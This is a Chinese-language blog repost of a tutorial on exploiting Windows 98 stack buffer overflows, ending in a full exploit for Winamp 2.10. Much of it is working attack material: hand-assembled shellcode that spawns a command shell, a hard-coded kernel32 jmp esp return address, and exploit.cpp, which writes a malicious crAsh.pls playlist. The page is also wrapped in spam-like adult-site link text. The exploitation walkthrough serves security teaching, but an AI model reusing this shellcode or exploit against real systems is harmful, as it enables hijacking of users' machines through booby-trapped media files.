青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

tommy

It's hard to tell the world we live in is either a reality or a dream
posts - 52, comments - 17, trackbacks - 0, articles - 0
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理
window系統下的堆棧溢出
文章出處:綠盟安全月刊->第7期->技術專題   發布時間:2005-07-20
  ◆原理篇

這一講我們來看看windows系統下的程序。我們的目的是研究如何利用windows程序的
堆棧溢出漏洞。

讓我們從頭開始。windows 98第二版

首先,我們來寫一個問題程序:
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++) printf("\\0x%x",name[i]);
}

相信大家都看出來了,gets(name)對name數組沒有作邊界檢查。那么我們可以給程序
一個很長的串,肯定可以覆蓋堆棧中的返回地址。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61

到這里,出現了那個熟悉的對話框“該程序執行了非法操作。。。”,太好了,點擊
詳細信息按鈕,看到EIP的值是0x61616161,哈哈,對話框還會把返回地址告訴我們。
這個功能太好了,我們可以選擇一個序列的輸入串,精確的確定存放返回地址的偏移位置。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32
到這里,又出現了那個熟悉的對話框“改程序執行了非法操作。。。”,點擊詳細信息
按鈕,下面是詳細信息:

VUNERABLE 在 00de:32363235 的模塊
<未知> 中導致無效頁錯誤。 Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c

哦哦,EIP的內容為0x32363235,就是2625,EBP的內容為0x32343233,就是2423,計算
一下可以知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name變量
地址開始偏移40處,是ret的地址。我們可以給name數組輸入我們精心編寫的shellcode。
我們只要把name的開始地址放在溢出字符串的地址40就可以了。那么,name的開始地址
是多少呢?

通過上面的stack dump 我們可以看到,當前ESP所指向的地址0x0064fe00,內容為
0x32383237,那么計算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在windows
系統,其他運行進程保持不變的情況下。我們每次執行vunera~1的堆棧的開始地址都
是相同的。也就是說,每次運行,name的地址都是0x64fdd4。

講到這里,大家一定已經發現了這樣一個情況:在win系統中,由于有地址沖突檢測,
出錯時寄存器影像和堆棧影像,使得我們對堆棧溢出漏洞可以進行精確的分析
溢出偏移地址。這就使我們可以精確的方便的尋找堆棧溢出漏洞。

OK,萬事具備,只差shellcode了。

首先,考慮一下我們的shellcode要作什么?顯然,根據以往的經驗,我們想開一個
dos窗口,這樣在這個窗口下,我們就可以作很多事情。

開一個dos窗口的程序如下:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

這個程序有必要詳細解釋一下。我們知道執行一個command.com就可以獲得一個
dos窗口。在C庫函數里面,語句system(command.com);將完成我們需要的功能。
但是,windows不像UNIX那樣使用系統調用來實現關鍵函數。對于我們的程序來說,
windows通過動態鏈接庫來提供系統函數。這就是所謂的Dll's。

因此,當我們想調用一個系統函數的時候,并不能直接引用他。我們必須找到那個
包含此函數的動態鏈接庫,由該動態鏈接庫提供這個函數的地址。DLL本身也有一個
基本地址,該DLL每一次被加載都是從這個基本地址加載。比如,system函數由msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從
0x78000000地址開始。system函數位于msvcrt.dll的一個固定偏移處(這個偏移地址
只與msvcrt.dll的版本有關,不同的版本可能偏移地址不同)。我的系統上,
msvcrt.dll版本為(v6.00.8397.0)。system的偏移地址為0x019824。

所以,要想執行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態鏈接庫
msvcrt.dll,獲得動態鏈接庫的句柄。然后使用GetProcAddress(LibHandle, system)
獲得 system的真實地址。之后才能使用這個真實地址來調用system函數。

好了,現在可以編譯執行,結果正確,我們得到了一個dos框。

現在對這個程序進行調試跟蹤匯編語言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;現在,eax的值為0x78019824就是system的真實地址。
;這個地址對于我的機器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數,只有一個參數,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

現在我們可以寫出一段匯編代碼來完成system,看以看我們的執行system調用的代碼
是否能夠像我們設計的那樣工作:

#include #include
void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的內容賦值給esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;給ebp賦新值,將作為局部變量的基指針
xor edi,edi ;
push edi ;壓入0,esp-4,
;作用是構造字符串的結尾\0字符。
sub esp,08h ;加上上面,一共有12個字節,
;用來放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數入棧
mov eax, 0x78019824 ;
call eax ;調用system
}
}

編譯,然后運行。好,DOS框出來了。在提示符下輸入dir,copy......是不是想起了
當年用286的時候了?

敲exit退出來,哎呀,發生了非法操作。Access Violation。這是肯定的,因為我們的
程序已經把堆棧指針搞亂了。

對上面的算法進行優化,現在我們可以寫出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

還記得第二講中那個測試shellcode的基本程序嗎?我們可以用他來測試這個shellcode:
#include #include char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因為:有push ebp ,否則加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址為shellcode的開始地址。

}
編譯運行,得到dos對話框。

現在總結一下。我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算
偏移地址,以及如何編寫一個shellcode以得到dos。理論上,你已經具備了利用堆棧溢出
的能力了,下面,我們通過實戰來真正掌握他。



◆溢出字符串的設計

我們已經知道了在windows系統下如何獲得一次堆棧溢出,如何計算
偏移地址,以及如何編寫一個shellcode以得到dos。

但是這遠遠不夠。

大家知道windows系統的用戶進程空間是0--2G,操作系統所占的為2--4G。
事實上用戶進程的加載位置為:0x00400000.這個進程的所有指令地址,數據地址
和堆棧指針都會含有0,那么我們的返回地址就必然含有0。

現在來看一看我們的shellcode:NNNNSSSSAAAAAA。顯然,我們的shellcode
由于A里面含有0,所以就變成了NNNNNNNNSSSSSA,這樣,我們的返回地址A必須精確
的放在確切的函數堆棧中的ret位置。

事實上,在上一講里面,我們已經掌握了很精確的找到這個位置的方法。

其次,windows在執行mov esp,ebp的時候,把廢棄不用的堆棧用隨機數據填充
(實驗所得,機制如何,大家一起研究),因此我們的shellcode可能會被覆蓋!
----這下完蛋了,我們的shellcode都沒了,返回地址正確又有什么用??

所以,我們的shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區
溢出發生之后,堆棧的布局如下:

內存底部 內存頂部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS ^&buffer
堆棧頂部 堆棧底部

看到了嗎?我們的A覆蓋了返回地址。S位于堆棧的底部。A的內容,就是指向S的調用。

但是,剛才我們說過A里面是含有0字符的,這樣的溢出字符串,在A處就被0阻斷,
根本無法到shellcode。我們需要把A改成不包含0的地址。

好像沒有辦法了,是嗎?現在我們的A如何能做到即可以跳轉到我們的shellcode,
又可以不包含0字節呢?

大家可能還記得當年IIS4.0遠程攻擊的作者dark spyrit AKA Barnaby Jack吧?
他在99年的Phrack Magzine55.15 上提出了使用系統核心dll中的指令來完成跳轉
的思想。我不得不說這是一個天才的想法。事實上,這一技巧開創了一個嶄新
的windows緩沖區溢出的思路。

思路是這樣的:返回地址A的內容不指向我們的shellcode開始地點,否則的話
A里面必然含有0。我們知道系統核心的dll都是在2-4G,也就是從0x80000000到
0xffffffff,這里面的指令地址將不包含0,(當然幾個別的除外,我們可以不用他)。
因此,我們可以令返回地址A等于一個系統核心dll中的指令的地址,這個指令的
作用就是call/jmp 我們的shellcode。

但是他怎么才能知道我們的shellcode的地址呢?

答案是:用寄存器。因為在溢出發生的時候,除了eip跳到了系統核心dll去之外,
其他的通用寄存器都保持不變。在寄存器里面一定有我們的shellcode的相關信息。
比如說,敵人的函數如果有參數的話,那么我們的A覆蓋了他的返回地址,shellcode
的開始地址則恰恰在他的第一個參數的位置上,那我們就可以用call [ebp+4]或者
我們假設敵人第一個參數的地址在eax,那我們就可以使用call/jmp eax來調用shellcode。
這些寄存器的值,我們可以在第一講里面提到的“關閉程序框”里面獲得寄存器和
堆棧的詳細資料。

那么我們怎么知道哪里有call/jmp eax什么的呢?我們又怎么知道這些指令是每次都在
內存中可以直接調用呢?

答案是:系統核心dll。系統核心dll包括kernel32.dll,user32.dll,gdi32.dll.
這些dll是一直位于內存中而且對應于固定的版本windows加載的位置是固定的。
你可以在這些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序
自己的import列表了。看看他是否load了這個dll。不過一般的說,這幾個dll就夠了。

好,那么我們的shellcode最終為:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N為NOP指令
A為指向某一條call/jmp指令的地址,這個call/jmp指令位于系統核心內存>0x80000000,
這個call/jmp指令具體的內容,需要根據我們exploit出來的結果分析得知。
S:shellcode。

有了這些基礎知識,我們來分析一個實例。

大家都有winamp吧,他的2.10有緩沖區漏洞,下面我們來實現一個exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名長度
如果大于一定長度就會發生堆棧溢出。我們可以寫出測試串,精確的測試。
test.cpp
----------------------------------------------------------------------------
#include
int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++) {
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;

}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
----------------------------------------------------------------------------
算法很簡單,是寫出一個crach.pls文件,內容可以根據那幾個fprintf看出來的。
我就不講了,其中buffer的內容為測試用的字符串。這個測試程序可以測試
最長為26^3的串,足夠了。

編譯執行,看看結果,嘿,發生了堆棧溢出,結果如下:

WINAMP 在 00de:4c574141 的模塊
<未知> 中導致無效頁錯誤。 Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:

Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141
4e584141 52584141 56584141 5a584141 44594141 48594141
4c594141 50594141

根據eip=4141574c計算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置為580。

大家現在知道我們的溢出字符串中,返回地址A應該在串的580處,那么我們應該
讓他使用什么call/jmp指令以達到shellcode呢?

看看寄存器dump,我們發現ESP里面的內容是41415750,恰好是4141574c之后的
第一個數。看來ESP指向我們的shellcode,太棒了!我們使用指令:
jmp ESP 就可以執行我們的shellcode了。

現在找出jmp esp的指令碼為 FF E4,ctrl-D 調出s-ice,看看內存里面那里有FF E4.
因為系統核心dll的加載地址都是從地址0xBf000000開始,所以我們
搜索s Bf000000 L ffffffff ff,e4
得到了哪些結果?

一堆呀,這第一個是:BFF795A3。看看softice里面的進程名稱欄:
Kernel32!GetDataFormatA+1554好,是kernel32.dll里面的,肯定是可以用的啦。
ok,問題解決,我們現在可以確定在buffer〔580〕處,寫入四個字節:
"\xa3\x95\xf7\xbf".這就是我們的溢出字符串中的返回地址A。

好了,現在溢出字符串已經基本分析完了,就差shellcode了。
下面我們來寫shellcode。
我們的shellcode要開一個dos窗口。C語言的算法描述是:

LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很簡單,是不是?下面是匯編代碼:

首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是開一個dos窗口:
push ebp
mov ebp, esp
sub esp, 0000002C
mov eax, 6D6D6F63
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61
mov dword ptr [ebp-08], eax
mov eax, 226D6F63
mov dword ptr [ebp-04], eax
xor edx, edx
mov byte ptr [ebp-01], dl
lea eax, dword ptr [ebp-0C]
push eax
mov eax, 78019824 //system
call eax
最后執行exit,退出來。

push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]

簡單說一下,msvcrt.dll是運行C語言標準庫函數所必須的一個動態鏈接庫。
要想使用system,exit,必須加載這個庫。而winamp沒有import這個庫,
所譯我們需要自己加載。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函數LoadLibraryA的地址。
他的代碼在kernel32.dll中,是被winamp加載了的dll。我的機器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函數system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函數exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用兩條指令來完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

編譯,找出二進制code:
shellcode:
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

好了,所有的算法都討論完了,下一講我們就來實現一個exploit





◆最后的完善

我們把前面寫的測試程序稍加改動就是一個exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#include
int main()
{


char buffer[640];
char eip[8] = "\xa3\x95\xf7\xBF";
char shellcode[256] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"http://load
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

for(int x=0;x<580;x++) {
buffer[x] = 0x90;
}

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
----------------------------------------------------------------------------

OK,運行他,生成一個文件叫做crash.pls.在winamp里面打開這個playlist,
就應該出一個dos。出來了嗎?

哎呀,怎么又是錯誤?

WINAMP 在 017f:004200c3 的模塊
WINAMP.EXE 中導致無效頁錯誤。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090

看看出錯信息,EIP是4200c3,看來已經開始執行我們的shellcode了,怎么會有
無效頁錯誤呢?看來我們的shellcode有問題。

這個時候,s-ice就又派上用場了,跟蹤一下看看:
ctrl-d
bpx bff795a3(就是我們的jmp esp)
x
好,現在運行winamp,打開文件crash.pls,被s-ice攔下,開始跟蹤。一個jmp esp
之后,就到了我們的shellcode上,繼續執行,看到了什么嗎?

奇怪!我們的shellcode變短了,到B8249801,后面就沒有了。這是怎么回事?
應該是\xB8\x24\x98\x01\x78呀,\x01到什么地方去了?

看來敵人把輸入的溢出字符串作樂處理,把不能作為文件名的字符都作為0處理了
(事實上這是win32api函數作的處理)。我們的shellcode被截斷了。

我在第4講第一節就說過對這種問題的對策。這個問題的解決需要我們改換shellcode,
去掉那些有問題的字符:\x01

我們作如下替換:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
匯編得到:

xB8\x24\x98\x01\x78 ----> \xB8\xFF\xFF\xFF\xFF
\x2d\xdB\x67\xFe\x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf

* modify by ipxodi 20-01-2k

* for windows98 the 2nd version and for a new shellcode.

* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)

* ipxodi@263.net
*/

#include
int main()
{

char buffer[640];
char eip[8] = "\xa3\x95\xf7\xbf";
char sploit[256] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC";

FILE *file;

for(int x=0;x<580;x++) {
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");

fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}


OK,運行他,生成一個文件叫做crash.pls.在winamp里面打開這個playlist,
結果如下,我可愛的dos出來了:

Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.

D:\hacker\document\ipxodi>dir
.........................
........就不貼了.........


總結:

經過這次實戰的演練,大家一定對windows下的buffer overflow有了很深的掌握了。
我們可以看到,windows下的堆棧溢出攻擊和unix下的,原理基本相同。但是,
由于windows用戶進程地址空間分配和堆棧處理有其獨立的特點,導致了windows
環境下堆棧溢出攻擊時,使用的堆棧溢出字符串,與unix下的,區別很大。這也
是我在寫完linux下的堆棧溢出系列之后,另外寫windows系列的原因。

另外,大家從破解的過程中,可以發現我一再強調windows的版本。事實上,這
也導致了windows下的exploit不具有通用性。大家的windows版本不一,
而exploit使用了很多動態鏈接庫里面的庫函數,其地址都是與dll的版本有
關系的。不同的dll版本,里面的庫函數的偏移地址就可能(注意:是可能)
不同。因為windows的patch天天有,他的一些dll就更新很快。甚至可能不同
語言版本的windows,其核心dll的版本都不同。用戶的dll一變更,
那么,我們的exploit里面的shellcode就要重新寫。

為了解決這個問題,我想我們可以盡量減少固定地址的使用。即,使用
GetProcAddress來獲得我們將使用的每一個系統函數,當然這就大大加長了
我們的shellcode。但是,這也無法消除對kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因為這兩個是shellcode中最基本的
函數,自然就導致了對kernel32.dll版本的依賴。

這里奉勸大家,當你寫的exploit發生無效頁錯誤時,不要灰心。運行sice,
跟蹤你的shellcode,會發現問題的根源的。

因此,這也回答了去年xsz,littleworm它們的問題。當時我們實驗IIS4.0
的exploit總是沒有成功,client端執行完了以后server端我們經常看到
access violation的框,就是因為shellcode的版本依賴問題導致的。

所以,對于windows下的堆棧溢出exploit,必須公開原代碼,才能由其他人完成
別的版本的修改,這一點,大家以后公布exploit時,要記住。

說一句題外話:
很多人運行了堆棧溢出exploit以后沒有成功,就認為自己的機器沒有毛病。
對此,dark spyrit AKA Barnaby Jack曾有這樣的建議:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.

以前咱們水木黑客版97年堆棧溢出大討論的時候,rainer就很高水平的探討過
windows下的buffer overflow。他的文章現在還在,大家可以去精華區看看。
不過當時只是探討原理,還停留在堆棧溢出的可行性,遠沒有探討利用他來攻擊。
我也曾經以為windows的堆棧溢出攻擊是不必要的。

后來,NT的中普通用戶獲取admin,我想到過仿照UNIX,搞緩沖區溢出攻擊。
因為NT里面有很多系統進程,都是以system賬號啟動的。如果我們可以將它們
overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),將擁有
超級用戶的權限。當然可以為所欲為了。

這只是windows NT下堆棧溢出攻擊的一個應用。去年,我研究IIS4.0的溢出之后,
發現帶有問題的windows網絡服務程序導致了windows堆棧溢出,可以幫助我們
獲得遠程控制。才認識到windows堆棧溢出攻擊將是一個很有研究價值的攻擊
手段。

在后續的研究中,有時候因為困難幾乎要放棄。好在有小懶蟲(sysword),
小四(hellguard),康師傅(kxn)這些網友
給我的督促和幫助。在此感謝,同時感謝以前一起討論過windows系列堆棧溢出
的朋友littleworm,xsz它們。

最后,我希望我的講座作為拋磚引玉,能夠引發大家更深入的探討。希望大家在
看了之后,能夠對windows堆棧溢出技術有一定了了解。如果大家能夠提出改進的
算法,或者發現新的exploit,就真正是光大了我們黑客版的精神。

讓我們以下面這句話共勉:
"If you assume that there's no hope, you guarantee there will be no hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."

-Noam Chomsky

只有注冊用戶登錄后才能發表評論。
網站導航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
